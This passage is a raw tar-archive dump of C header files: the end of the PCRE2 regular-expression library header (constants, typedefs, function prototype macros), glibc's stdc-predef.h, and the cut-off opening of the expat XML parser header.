PCRE2_INFO_JITSIZE 10 #define PCRE2_INFO_LASTCODEUNIT 11 #define PCRE2_INFO_LASTCODETYPE 12 #define PCRE2_INFO_MATCHEMPTY 13 #define PCRE2_INFO_MATCHLIMIT 14 #define PCRE2_INFO_MAXLOOKBEHIND 15 #define PCRE2_INFO_MINLENGTH 16 #define PCRE2_INFO_NAMECOUNT 17 #define PCRE2_INFO_NAMEENTRYSIZE 18 #define PCRE2_INFO_NAMETABLE 19 #define PCRE2_INFO_NEWLINE 20 #define PCRE2_INFO_DEPTHLIMIT 21 #define PCRE2_INFO_RECURSIONLIMIT 21 /* Obsolete synonym */ #define PCRE2_INFO_SIZE 22 #define PCRE2_INFO_HASBACKSLASHC 23 #define PCRE2_INFO_FRAMESIZE 24 #define PCRE2_INFO_HEAPLIMIT 25 #define PCRE2_INFO_EXTRAOPTIONS 26 /* Request types for pcre2_config(). */ #define PCRE2_CONFIG_BSR 0 #define PCRE2_CONFIG_JIT 1 #define PCRE2_CONFIG_JITTARGET 2 #define PCRE2_CONFIG_LINKSIZE 3 #define PCRE2_CONFIG_MATCHLIMIT 4 #define PCRE2_CONFIG_NEWLINE 5 #define PCRE2_CONFIG_PARENSLIMIT 6 #define PCRE2_CONFIG_DEPTHLIMIT 7 #define PCRE2_CONFIG_RECURSIONLIMIT 7 /* Obsolete synonym */ #define PCRE2_CONFIG_STACKRECURSE 8 /* Obsolete */ #define PCRE2_CONFIG_UNICODE 9 #define PCRE2_CONFIG_UNICODE_VERSION 10 #define PCRE2_CONFIG_VERSION 11 #define PCRE2_CONFIG_HEAPLIMIT 12 #define PCRE2_CONFIG_NEVER_BACKSLASH_C 13 #define PCRE2_CONFIG_COMPILED_WIDTHS 14 /* Types for code units in patterns and subject strings. */ typedef uint8_t PCRE2_UCHAR8; typedef uint16_t PCRE2_UCHAR16; typedef uint32_t PCRE2_UCHAR32; typedef const PCRE2_UCHAR8 *PCRE2_SPTR8; typedef const PCRE2_UCHAR16 *PCRE2_SPTR16; typedef const PCRE2_UCHAR32 *PCRE2_SPTR32; /* The PCRE2_SIZE type is used for all string lengths and offsets in PCRE2, including pattern offsets for errors and subject offsets after a match. We define special values to indicate zero-terminated strings and unset offsets in the offset vector (ovector). */ #define PCRE2_SIZE size_t #define PCRE2_SIZE_MAX SIZE_MAX #define PCRE2_ZERO_TERMINATED (~(PCRE2_SIZE)0) #define PCRE2_UNSET (~(PCRE2_SIZE)0) /* Generic types for opaque structures and JIT callback functions. These declarations are defined in a macro that is expanded for each width later. */ #define PCRE2_TYPES_LIST \ struct pcre2_real_general_context; \ typedef struct pcre2_real_general_context pcre2_general_context; \ \ struct pcre2_real_compile_context; \ typedef struct pcre2_real_compile_context pcre2_compile_context; \ \ struct pcre2_real_match_context; \ typedef struct pcre2_real_match_context pcre2_match_context; \ \ struct pcre2_real_convert_context; \ typedef struct pcre2_real_convert_context pcre2_convert_context; \ \ struct pcre2_real_code; \ typedef struct pcre2_real_code pcre2_code; \ \ struct pcre2_real_match_data; \ typedef struct pcre2_real_match_data pcre2_match_data; \ \ struct pcre2_real_jit_stack; \ typedef struct pcre2_real_jit_stack pcre2_jit_stack; \ \ typedef pcre2_jit_stack *(*pcre2_jit_callback)(void *); /* The structure for passing out data via the pcre_callout_function. We use a structure so that new fields can be added on the end in future versions, without changing the API of the function, thereby allowing old clients to work without modification. Define the generic version in a macro; the width-specific versions are generated from this macro below. */ /* Flags for the callout_flags field. These are cleared after a callout. */ #define PCRE2_CALLOUT_STARTMATCH 0x00000001u /* Set for each bumpalong */ #define PCRE2_CALLOUT_BACKTRACK 0x00000002u /* Set after a backtrack */ #define PCRE2_STRUCTURE_LIST \ typedef struct pcre2_callout_block { \ uint32_t version; /* Identifies version of block */ \ /* ------------------------ Version 0 ------------------------------- */ \ uint32_t callout_number; /* Number compiled into pattern */ \ uint32_t capture_top; /* Max current capture */ \ uint32_t capture_last; /* Most recently closed capture */ \ PCRE2_SIZE *offset_vector; /* The offset vector */ \ PCRE2_SPTR mark; /* Pointer to current mark or NULL */ \ PCRE2_SPTR subject; /* The subject being matched */ \ PCRE2_SIZE subject_length; /* The length of the subject */ \ PCRE2_SIZE start_match; /* Offset to start of this match attempt */ \ PCRE2_SIZE current_position; /* Where we currently are in the subject */ \ PCRE2_SIZE pattern_position; /* Offset to next item in the pattern */ \ PCRE2_SIZE next_item_length; /* Length of next item in the pattern */ \ /* ------------------- Added for Version 1 -------------------------- */ \ PCRE2_SIZE callout_string_offset; /* Offset to string within pattern */ \ PCRE2_SIZE callout_string_length; /* Length of string compiled into pattern */ \ PCRE2_SPTR callout_string; /* String compiled into pattern */ \ /* ------------------- Added for Version 2 -------------------------- */ \ uint32_t callout_flags; /* See above for list */ \ /* ------------------------------------------------------------------ */ \ } pcre2_callout_block; \ \ typedef struct pcre2_callout_enumerate_block { \ uint32_t version; /* Identifies version of block */ \ /* ------------------------ Version 0 ------------------------------- */ \ PCRE2_SIZE pattern_position; /* Offset to next item in the pattern */ \ PCRE2_SIZE next_item_length; /* Length of next item in the pattern */ \ uint32_t callout_number; /* Number compiled into pattern */ \ PCRE2_SIZE callout_string_offset; /* Offset to string within pattern */ \ PCRE2_SIZE callout_string_length; /* Length of string compiled into pattern */ \ PCRE2_SPTR callout_string; /* String compiled into pattern */ \ /* ------------------------------------------------------------------ */ \ } pcre2_callout_enumerate_block; /* List the generic forms of all other functions in macros, which will be expanded for each width below. Start with functions that give general information. */ #define PCRE2_GENERAL_INFO_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION pcre2_config(uint32_t, void *); /* Functions for manipulating contexts. */ #define PCRE2_GENERAL_CONTEXT_FUNCTIONS \ PCRE2_EXP_DECL pcre2_general_context PCRE2_CALL_CONVENTION \ *pcre2_general_context_copy(pcre2_general_context *); \ PCRE2_EXP_DECL pcre2_general_context PCRE2_CALL_CONVENTION \ *pcre2_general_context_create(void *(*)(PCRE2_SIZE, void *), \ void (*)(void *, void *), void *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_general_context_free(pcre2_general_context *); #define PCRE2_COMPILE_CONTEXT_FUNCTIONS \ PCRE2_EXP_DECL pcre2_compile_context PCRE2_CALL_CONVENTION \ *pcre2_compile_context_copy(pcre2_compile_context *); \ PCRE2_EXP_DECL pcre2_compile_context PCRE2_CALL_CONVENTION \ *pcre2_compile_context_create(pcre2_general_context *);\ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_compile_context_free(pcre2_compile_context *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_bsr(pcre2_compile_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_character_tables(pcre2_compile_context *, const unsigned char *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_compile_extra_options(pcre2_compile_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_max_pattern_length(pcre2_compile_context *, PCRE2_SIZE); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_newline(pcre2_compile_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_parens_nest_limit(pcre2_compile_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_compile_recursion_guard(pcre2_compile_context *, \ int (*)(uint32_t, void *), void *); #define PCRE2_MATCH_CONTEXT_FUNCTIONS \ PCRE2_EXP_DECL pcre2_match_context PCRE2_CALL_CONVENTION \ *pcre2_match_context_copy(pcre2_match_context *); \ PCRE2_EXP_DECL pcre2_match_context PCRE2_CALL_CONVENTION \ *pcre2_match_context_create(pcre2_general_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_match_context_free(pcre2_match_context *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_callout(pcre2_match_context *, \ int (*)(pcre2_callout_block *, void *), void *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_depth_limit(pcre2_match_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_heap_limit(pcre2_match_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_match_limit(pcre2_match_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_offset_limit(pcre2_match_context *, PCRE2_SIZE); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_recursion_limit(pcre2_match_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_recursion_memory_management(pcre2_match_context *, \ void *(*)(PCRE2_SIZE, void *), void (*)(void *, void *), void *); #define PCRE2_CONVERT_CONTEXT_FUNCTIONS \ PCRE2_EXP_DECL pcre2_convert_context PCRE2_CALL_CONVENTION \ *pcre2_convert_context_copy(pcre2_convert_context *); \ PCRE2_EXP_DECL pcre2_convert_context PCRE2_CALL_CONVENTION \ *pcre2_convert_context_create(pcre2_general_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_convert_context_free(pcre2_convert_context *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_glob_escape(pcre2_convert_context *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_set_glob_separator(pcre2_convert_context *, uint32_t); /* Functions concerned with compiling a pattern to PCRE internal code. */ #define PCRE2_COMPILE_FUNCTIONS \ PCRE2_EXP_DECL pcre2_code PCRE2_CALL_CONVENTION \ *pcre2_compile(PCRE2_SPTR, PCRE2_SIZE, uint32_t, int *, PCRE2_SIZE *, \ pcre2_compile_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_code_free(pcre2_code *); \ PCRE2_EXP_DECL pcre2_code PCRE2_CALL_CONVENTION \ *pcre2_code_copy(const pcre2_code *); \ PCRE2_EXP_DECL pcre2_code PCRE2_CALL_CONVENTION \ *pcre2_code_copy_with_tables(const pcre2_code *); /* Functions that give information about a compiled pattern. */ #define PCRE2_PATTERN_INFO_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_pattern_info(const pcre2_code *, uint32_t, void *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_callout_enumerate(const pcre2_code *, \ int (*)(pcre2_callout_enumerate_block *, void *), void *); /* Functions for running a match and inspecting the result. */ #define PCRE2_MATCH_FUNCTIONS \ PCRE2_EXP_DECL pcre2_match_data PCRE2_CALL_CONVENTION \ *pcre2_match_data_create(uint32_t, pcre2_general_context *); \ PCRE2_EXP_DECL pcre2_match_data PCRE2_CALL_CONVENTION \ *pcre2_match_data_create_from_pattern(const pcre2_code *, \ pcre2_general_context *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_dfa_match(const pcre2_code *, PCRE2_SPTR, PCRE2_SIZE, PCRE2_SIZE, \ uint32_t, pcre2_match_data *, pcre2_match_context *, int *, PCRE2_SIZE); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_match(const pcre2_code *, PCRE2_SPTR, PCRE2_SIZE, PCRE2_SIZE, \ uint32_t, pcre2_match_data *, pcre2_match_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_match_data_free(pcre2_match_data *); \ PCRE2_EXP_DECL PCRE2_SPTR PCRE2_CALL_CONVENTION \ pcre2_get_mark(pcre2_match_data *); \ PCRE2_EXP_DECL uint32_t PCRE2_CALL_CONVENTION \ pcre2_get_ovector_count(pcre2_match_data *); \ PCRE2_EXP_DECL PCRE2_SIZE PCRE2_CALL_CONVENTION \ *pcre2_get_ovector_pointer(pcre2_match_data *); \ PCRE2_EXP_DECL PCRE2_SIZE PCRE2_CALL_CONVENTION \ pcre2_get_startchar(pcre2_match_data *); /* Convenience functions for handling matched substrings. */ #define PCRE2_SUBSTRING_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_copy_byname(pcre2_match_data *, PCRE2_SPTR, PCRE2_UCHAR *, \ PCRE2_SIZE *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_copy_bynumber(pcre2_match_data *, uint32_t, PCRE2_UCHAR *, \ PCRE2_SIZE *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_substring_free(PCRE2_UCHAR *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_get_byname(pcre2_match_data *, PCRE2_SPTR, PCRE2_UCHAR **, \ PCRE2_SIZE *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_get_bynumber(pcre2_match_data *, uint32_t, PCRE2_UCHAR **, \ PCRE2_SIZE *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_length_byname(pcre2_match_data *, PCRE2_SPTR, PCRE2_SIZE *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_length_bynumber(pcre2_match_data *, uint32_t, PCRE2_SIZE *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_nametable_scan(const pcre2_code *, PCRE2_SPTR, PCRE2_SPTR *, \ PCRE2_SPTR *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_number_from_name(const pcre2_code *, PCRE2_SPTR); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_substring_list_free(PCRE2_SPTR *); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substring_list_get(pcre2_match_data *, PCRE2_UCHAR ***, PCRE2_SIZE **); /* Functions for serializing / deserializing compiled patterns. */ #define PCRE2_SERIALIZE_FUNCTIONS \ PCRE2_EXP_DECL int32_t PCRE2_CALL_CONVENTION \ pcre2_serialize_encode(const pcre2_code **, int32_t, uint8_t **, \ PCRE2_SIZE *, pcre2_general_context *); \ PCRE2_EXP_DECL int32_t PCRE2_CALL_CONVENTION \ pcre2_serialize_decode(pcre2_code **, int32_t, const uint8_t *, \ pcre2_general_context *); \ PCRE2_EXP_DECL int32_t PCRE2_CALL_CONVENTION \ pcre2_serialize_get_number_of_codes(const uint8_t *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_serialize_free(uint8_t *); /* Convenience function for match + substitute. */ #define PCRE2_SUBSTITUTE_FUNCTION \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_substitute(const pcre2_code *, PCRE2_SPTR, PCRE2_SIZE, PCRE2_SIZE, \ uint32_t, pcre2_match_data *, pcre2_match_context *, PCRE2_SPTR, \ PCRE2_SIZE, PCRE2_UCHAR *, PCRE2_SIZE *); /* Functions for converting pattern source strings. */ #define PCRE2_CONVERT_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_pattern_convert(PCRE2_SPTR, PCRE2_SIZE, uint32_t, PCRE2_UCHAR **, \ PCRE2_SIZE *, pcre2_convert_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_converted_pattern_free(PCRE2_UCHAR *); /* Functions for JIT processing */ #define PCRE2_JIT_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_jit_compile(pcre2_code *, uint32_t); \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_jit_match(const pcre2_code *, PCRE2_SPTR, PCRE2_SIZE, PCRE2_SIZE, \ uint32_t, pcre2_match_data *, pcre2_match_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_jit_free_unused_memory(pcre2_general_context *); \ PCRE2_EXP_DECL pcre2_jit_stack PCRE2_CALL_CONVENTION \ *pcre2_jit_stack_create(PCRE2_SIZE, PCRE2_SIZE, pcre2_general_context *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_jit_stack_assign(pcre2_match_context *, pcre2_jit_callback, void *); \ PCRE2_EXP_DECL void PCRE2_CALL_CONVENTION \ pcre2_jit_stack_free(pcre2_jit_stack *); /* Other miscellaneous functions. */ #define PCRE2_OTHER_FUNCTIONS \ PCRE2_EXP_DECL int PCRE2_CALL_CONVENTION \ pcre2_get_error_message(int, PCRE2_UCHAR *, PCRE2_SIZE); \ PCRE2_EXP_DECL const uint8_t PCRE2_CALL_CONVENTION \ *pcre2_maketables(pcre2_general_context *); \ /* Define macros that generate width-specific names from generic versions. The three-level macro scheme is necessary to get the macros expanded when we want them to be. First we get the width from PCRE2_LOCAL_WIDTH, which is used for generating three versions of everything below. After that, PCRE2_SUFFIX will be re-defined to use PCRE2_CODE_UNIT_WIDTH, for use when macros such as pcre2_compile are called by application code. */ #define PCRE2_JOIN(a,b) a ## b #define PCRE2_GLUE(a,b) PCRE2_JOIN(a,b) #define PCRE2_SUFFIX(a) PCRE2_GLUE(a,PCRE2_LOCAL_WIDTH) /* Data types */ #define PCRE2_UCHAR PCRE2_SUFFIX(PCRE2_UCHAR) #define PCRE2_SPTR PCRE2_SUFFIX(PCRE2_SPTR) #define pcre2_code PCRE2_SUFFIX(pcre2_code_) #define pcre2_jit_callback PCRE2_SUFFIX(pcre2_jit_callback_) #define pcre2_jit_stack PCRE2_SUFFIX(pcre2_jit_stack_) #define pcre2_real_code PCRE2_SUFFIX(pcre2_real_code_) #define pcre2_real_general_context PCRE2_SUFFIX(pcre2_real_general_context_) #define pcre2_real_compile_context PCRE2_SUFFIX(pcre2_real_compile_context_) #define pcre2_real_convert_context PCRE2_SUFFIX(pcre2_real_convert_context_) #define pcre2_real_match_context PCRE2_SUFFIX(pcre2_real_match_context_) #define pcre2_real_jit_stack PCRE2_SUFFIX(pcre2_real_jit_stack_) #define pcre2_real_match_data PCRE2_SUFFIX(pcre2_real_match_data_) /* Data blocks */ #define pcre2_callout_block PCRE2_SUFFIX(pcre2_callout_block_) #define pcre2_callout_enumerate_block PCRE2_SUFFIX(pcre2_callout_enumerate_block_) #define pcre2_general_context PCRE2_SUFFIX(pcre2_general_context_) #define pcre2_compile_context PCRE2_SUFFIX(pcre2_compile_context_) #define pcre2_convert_context PCRE2_SUFFIX(pcre2_convert_context_) #define pcre2_match_context PCRE2_SUFFIX(pcre2_match_context_) #define pcre2_match_data PCRE2_SUFFIX(pcre2_match_data_) /* Functions: the complete list in alphabetical order */ #define pcre2_callout_enumerate PCRE2_SUFFIX(pcre2_callout_enumerate_) #define pcre2_code_copy PCRE2_SUFFIX(pcre2_code_copy_) #define pcre2_code_copy_with_tables PCRE2_SUFFIX(pcre2_code_copy_with_tables_) #define pcre2_code_free PCRE2_SUFFIX(pcre2_code_free_) #define pcre2_compile PCRE2_SUFFIX(pcre2_compile_) #define pcre2_compile_context_copy PCRE2_SUFFIX(pcre2_compile_context_copy_) #define pcre2_compile_context_create PCRE2_SUFFIX(pcre2_compile_context_create_) #define pcre2_compile_context_free PCRE2_SUFFIX(pcre2_compile_context_free_) #define pcre2_config PCRE2_SUFFIX(pcre2_config_) #define pcre2_convert_context_copy PCRE2_SUFFIX(pcre2_convert_context_copy_) #define pcre2_convert_context_create PCRE2_SUFFIX(pcre2_convert_context_create_) #define pcre2_convert_context_free PCRE2_SUFFIX(pcre2_convert_context_free_) #define pcre2_converted_pattern_free PCRE2_SUFFIX(pcre2_converted_pattern_free_) #define pcre2_dfa_match PCRE2_SUFFIX(pcre2_dfa_match_) #define pcre2_general_context_copy PCRE2_SUFFIX(pcre2_general_context_copy_) #define pcre2_general_context_create PCRE2_SUFFIX(pcre2_general_context_create_) #define pcre2_general_context_free PCRE2_SUFFIX(pcre2_general_context_free_) #define pcre2_get_error_message PCRE2_SUFFIX(pcre2_get_error_message_) #define pcre2_get_mark PCRE2_SUFFIX(pcre2_get_mark_) #define pcre2_get_ovector_pointer PCRE2_SUFFIX(pcre2_get_ovector_pointer_) #define pcre2_get_ovector_count PCRE2_SUFFIX(pcre2_get_ovector_count_) #define pcre2_get_startchar PCRE2_SUFFIX(pcre2_get_startchar_) #define pcre2_jit_compile PCRE2_SUFFIX(pcre2_jit_compile_) #define pcre2_jit_match PCRE2_SUFFIX(pcre2_jit_match_) #define pcre2_jit_free_unused_memory PCRE2_SUFFIX(pcre2_jit_free_unused_memory_) #define pcre2_jit_stack_assign PCRE2_SUFFIX(pcre2_jit_stack_assign_) #define pcre2_jit_stack_create PCRE2_SUFFIX(pcre2_jit_stack_create_) #define pcre2_jit_stack_free PCRE2_SUFFIX(pcre2_jit_stack_free_) #define pcre2_maketables PCRE2_SUFFIX(pcre2_maketables_) #define pcre2_match PCRE2_SUFFIX(pcre2_match_) #define pcre2_match_context_copy PCRE2_SUFFIX(pcre2_match_context_copy_) #define pcre2_match_context_create PCRE2_SUFFIX(pcre2_match_context_create_) #define pcre2_match_context_free PCRE2_SUFFIX(pcre2_match_context_free_) #define pcre2_match_data_create PCRE2_SUFFIX(pcre2_match_data_create_) #define pcre2_match_data_create_from_pattern PCRE2_SUFFIX(pcre2_match_data_create_from_pattern_) #define pcre2_match_data_free PCRE2_SUFFIX(pcre2_match_data_free_) #define pcre2_pattern_convert PCRE2_SUFFIX(pcre2_pattern_convert_) #define pcre2_pattern_info PCRE2_SUFFIX(pcre2_pattern_info_) #define pcre2_serialize_decode PCRE2_SUFFIX(pcre2_serialize_decode_) #define pcre2_serialize_encode PCRE2_SUFFIX(pcre2_serialize_encode_) #define pcre2_serialize_free PCRE2_SUFFIX(pcre2_serialize_free_) #define pcre2_serialize_get_number_of_codes PCRE2_SUFFIX(pcre2_serialize_get_number_of_codes_) #define pcre2_set_bsr PCRE2_SUFFIX(pcre2_set_bsr_) #define pcre2_set_callout PCRE2_SUFFIX(pcre2_set_callout_) #define pcre2_set_character_tables PCRE2_SUFFIX(pcre2_set_character_tables_) #define pcre2_set_compile_extra_options PCRE2_SUFFIX(pcre2_set_compile_extra_options_) #define pcre2_set_compile_recursion_guard PCRE2_SUFFIX(pcre2_set_compile_recursion_guard_) #define pcre2_set_depth_limit PCRE2_SUFFIX(pcre2_set_depth_limit_) #define pcre2_set_glob_escape PCRE2_SUFFIX(pcre2_set_glob_escape_) #define pcre2_set_glob_separator PCRE2_SUFFIX(pcre2_set_glob_separator_) #define pcre2_set_heap_limit PCRE2_SUFFIX(pcre2_set_heap_limit_) #define pcre2_set_match_limit PCRE2_SUFFIX(pcre2_set_match_limit_) #define pcre2_set_max_pattern_length PCRE2_SUFFIX(pcre2_set_max_pattern_length_) #define pcre2_set_newline PCRE2_SUFFIX(pcre2_set_newline_) #define pcre2_set_parens_nest_limit PCRE2_SUFFIX(pcre2_set_parens_nest_limit_) #define pcre2_set_offset_limit PCRE2_SUFFIX(pcre2_set_offset_limit_) #define pcre2_substitute PCRE2_SUFFIX(pcre2_substitute_) #define pcre2_substring_copy_byname PCRE2_SUFFIX(pcre2_substring_copy_byname_) #define pcre2_substring_copy_bynumber PCRE2_SUFFIX(pcre2_substring_copy_bynumber_) #define pcre2_substring_free PCRE2_SUFFIX(pcre2_substring_free_) #define pcre2_substring_get_byname PCRE2_SUFFIX(pcre2_substring_get_byname_) #define pcre2_substring_get_bynumber PCRE2_SUFFIX(pcre2_substring_get_bynumber_) #define pcre2_substring_length_byname PCRE2_SUFFIX(pcre2_substring_length_byname_) #define pcre2_substring_length_bynumber PCRE2_SUFFIX(pcre2_substring_length_bynumber_) #define pcre2_substring_list_get PCRE2_SUFFIX(pcre2_substring_list_get_) #define pcre2_substring_list_free PCRE2_SUFFIX(pcre2_substring_list_free_) #define pcre2_substring_nametable_scan PCRE2_SUFFIX(pcre2_substring_nametable_scan_) #define pcre2_substring_number_from_name PCRE2_SUFFIX(pcre2_substring_number_from_name_) /* Keep this old function name for backwards compatibility */ #define pcre2_set_recursion_limit PCRE2_SUFFIX(pcre2_set_recursion_limit_) /* Keep this obsolete function for backwards compatibility: it is now a noop. */ #define pcre2_set_recursion_memory_management PCRE2_SUFFIX(pcre2_set_recursion_memory_management_) /* Now generate all three sets of width-specific structures and function prototypes. */ #define PCRE2_TYPES_STRUCTURES_AND_FUNCTIONS \ PCRE2_TYPES_LIST \ PCRE2_STRUCTURE_LIST \ PCRE2_GENERAL_INFO_FUNCTIONS \ PCRE2_GENERAL_CONTEXT_FUNCTIONS \ PCRE2_COMPILE_CONTEXT_FUNCTIONS \ PCRE2_CONVERT_CONTEXT_FUNCTIONS \ PCRE2_CONVERT_FUNCTIONS \ PCRE2_MATCH_CONTEXT_FUNCTIONS \ PCRE2_COMPILE_FUNCTIONS \ PCRE2_PATTERN_INFO_FUNCTIONS \ PCRE2_MATCH_FUNCTIONS \ PCRE2_SUBSTRING_FUNCTIONS \ PCRE2_SERIALIZE_FUNCTIONS \ PCRE2_SUBSTITUTE_FUNCTION \ PCRE2_JIT_FUNCTIONS \ PCRE2_OTHER_FUNCTIONS #define PCRE2_LOCAL_WIDTH 8 PCRE2_TYPES_STRUCTURES_AND_FUNCTIONS #undef PCRE2_LOCAL_WIDTH #define PCRE2_LOCAL_WIDTH 16 PCRE2_TYPES_STRUCTURES_AND_FUNCTIONS #undef PCRE2_LOCAL_WIDTH #define PCRE2_LOCAL_WIDTH 32 PCRE2_TYPES_STRUCTURES_AND_FUNCTIONS #undef PCRE2_LOCAL_WIDTH /* Undefine the list macros; they are no longer needed. */ #undef PCRE2_TYPES_LIST #undef PCRE2_STRUCTURE_LIST #undef PCRE2_GENERAL_INFO_FUNCTIONS #undef PCRE2_GENERAL_CONTEXT_FUNCTIONS #undef PCRE2_COMPILE_CONTEXT_FUNCTIONS #undef PCRE2_CONVERT_CONTEXT_FUNCTIONS #undef PCRE2_MATCH_CONTEXT_FUNCTIONS #undef PCRE2_COMPILE_FUNCTIONS #undef PCRE2_PATTERN_INFO_FUNCTIONS #undef PCRE2_MATCH_FUNCTIONS #undef PCRE2_SUBSTRING_FUNCTIONS #undef PCRE2_SERIALIZE_FUNCTIONS #undef PCRE2_SUBSTITUTE_FUNCTION #undef PCRE2_JIT_FUNCTIONS #undef PCRE2_OTHER_FUNCTIONS #undef PCRE2_TYPES_STRUCTURES_AND_FUNCTIONS /* PCRE2_CODE_UNIT_WIDTH must be defined. If it is 8, 16, or 32, redefine PCRE2_SUFFIX to use it. If it is 0, undefine the other macros and make PCRE2_SUFFIX a no-op. Otherwise, generate an error. */ #undef PCRE2_SUFFIX #ifndef PCRE2_CODE_UNIT_WIDTH #error PCRE2_CODE_UNIT_WIDTH must be defined before including pcre2.h. #error Use 8, 16, or 32; or 0 for a multi-width application. #else /* PCRE2_CODE_UNIT_WIDTH is defined */ #if PCRE2_CODE_UNIT_WIDTH == 8 || \ PCRE2_CODE_UNIT_WIDTH == 16 || \ PCRE2_CODE_UNIT_WIDTH == 32 #define PCRE2_SUFFIX(a) PCRE2_GLUE(a, PCRE2_CODE_UNIT_WIDTH) #elif PCRE2_CODE_UNIT_WIDTH == 0 #undef PCRE2_JOIN #undef PCRE2_GLUE #define PCRE2_SUFFIX(a) a #else #error PCRE2_CODE_UNIT_WIDTH must be 0, 8, 16, or 32. #endif #endif /* PCRE2_CODE_UNIT_WIDTH is defined */ #ifdef __cplusplus } /* extern "C" */ #endif #endif /* PCRE2_H_IDEMPOTENT_GUARD */ /* End of pcre2.h */ stdc-predef.h 0000644 00000004361 15246445046 0007133 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _STDC_PREDEF_H #define _STDC_PREDEF_H 1 /* This header is separate from features.h so that the compiler can include it implicitly at the start of every compilation. It must not itself include <features.h> or any other header that includes <features.h> because the implicit include comes before any feature test macros that may be defined in a source file before it first explicitly includes a system header. GCC knows the name of this header in order to preinclude it. */ /* glibc's intent is to support the IEC 559 math functionality, real and complex. If the GCC (4.9 and later) predefined macros specifying compiler intent are available, use them to determine whether the overall intent is to support these features; otherwise, presume an older compiler has intent to support these features and define these macros by default. */ #ifdef __GCC_IEC_559 # if __GCC_IEC_559 > 0 # define __STDC_IEC_559__ 1 # endif #else # define __STDC_IEC_559__ 1 #endif #ifdef __GCC_IEC_559_COMPLEX # if __GCC_IEC_559_COMPLEX > 0 # define __STDC_IEC_559_COMPLEX__ 1 # endif #else # define __STDC_IEC_559_COMPLEX__ 1 #endif /* wchar_t uses Unicode 10.0.0. Version 10.0 of the Unicode Standard is synchronized with ISO/IEC 10646:2017, fifth edition, plus the following additions from Amendment 1 to the fifth edition: - 56 emoji characters - 285 hentaigana - 3 additional Zanabazar Square characters */ #define __STDC_ISO_10646__ 201706L #endif expat.h 0000644 00000126361 15246445046 0006061 0 ustar 00 /* __ __ _ ___\ \/ /_ __ __ _| |_ / _ \\ /| '_ \ / _` | __| | __// \| |_) | (_| | |_ \___/_/\_\ .__/ \__,_|\__| |_| XML parser Copyright (c) 1997-2000 Thai Open Source Software Center Ltd Copyright (c) 2000 Clark Cooper <coopercc@users.sourceforge.net> Copyright (c) 2000-2005 Fred L. Drake, Jr. <fdrake@users.sourceforge.net> Copyright 